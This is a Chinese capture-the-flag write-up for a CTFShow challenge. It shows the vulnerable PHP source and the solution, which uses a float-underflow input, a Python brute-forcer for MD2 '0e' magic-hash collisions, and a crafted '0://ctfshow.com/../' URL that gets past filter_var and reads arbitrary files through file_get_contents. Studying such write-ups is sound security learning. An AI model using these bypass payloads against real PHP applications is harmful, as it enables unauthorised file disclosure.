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  1. 2020
  2. 2020 CTFShow 月饼杯

故人心

源码:

<?php
error_reporting(0);
highlight_file(__FILE__);
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
$url[1]=$_POST['url'];
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){
    $d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));
    if($d){
             highlight_file('hint.php');
             if(filter_var($url[1],FILTER_VALIDATE_URL)){
                $host=parse_url($url[1]);
                print_r($host); 
                if(preg_match('/ctfshow\.com$/',$host['host'])){
                    print_r(file_get_contents($url[1]));
                }else{
                    echo '差点点就成功了!';
                }
            }else{
                echo 'please give me url!!!';
            }     
    }else{
        echo '想一想md5碰撞原理吧?!';
    }
}else{
    echo '第一个都过不了还想要flag呀?!';
}

第一层过滤,利用PHP精度,当一个极小数平方超过PHP浮点数最大表示小数点位数时,PHP判定为0:

$a = e-200

第二层就要爆很久,用的是md2碰撞,后来题目放了hint,得知已知位数后,很快就爆出来了。师兄脚本:

from Crypto.Hash import MD2

# payload = "QWERTYUIOPASDFGHJKLZXCVBNM"
# payload = "qwertyuiopasdfghjklzxcvbnm"
payload = "0123456789"


# payload = "QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm0123456789"


def calc_hash(s):
    hash_value = MD2.new('0e' + s + '024452').hexdigest()
    # hash_value = MD2.new(MD2.new('0e' + s + '48399').hexdigest()).hexdigest()
    if hash_value[0:2] == '0e' and hash_value[2:32].isdigit():
        print(s, hash_value)


def getStr(payload, s, slen):
    if len(s) == slen:
        # Custom string
        calc_hash(s)
        return s
    for j in range(len(payload)):
        sl = s + payload[j]
        getStr(payload, sl, slen)


if __name__ == '__main__':
    getStr(payload, '', 3)  # b
# getStr(payload, '', 4)  # c
url=0://ctfshow.com/../../../../../../fl0g.txt

提交以后,会先识别ctfshow.com为有意义的网址,绕过第一层,接着符合正则匹配。在PHP中,向目标请求时会先判断使用的协议,如果协议无法识别,就默认为是个目录,这样就可以通过目录穿越读到f10g.txt

Previous此夜圆Next莫负婵娟

Last updated 2 years ago

接下来需要SSRF的操作,我刚开始想的是双@@绕过,试了很久没有过。后面师兄发了一个参考链接:。发现是原题,果然是我太菜了。

ssrf绕过filter_var函数使用file_get_contents读取任意文件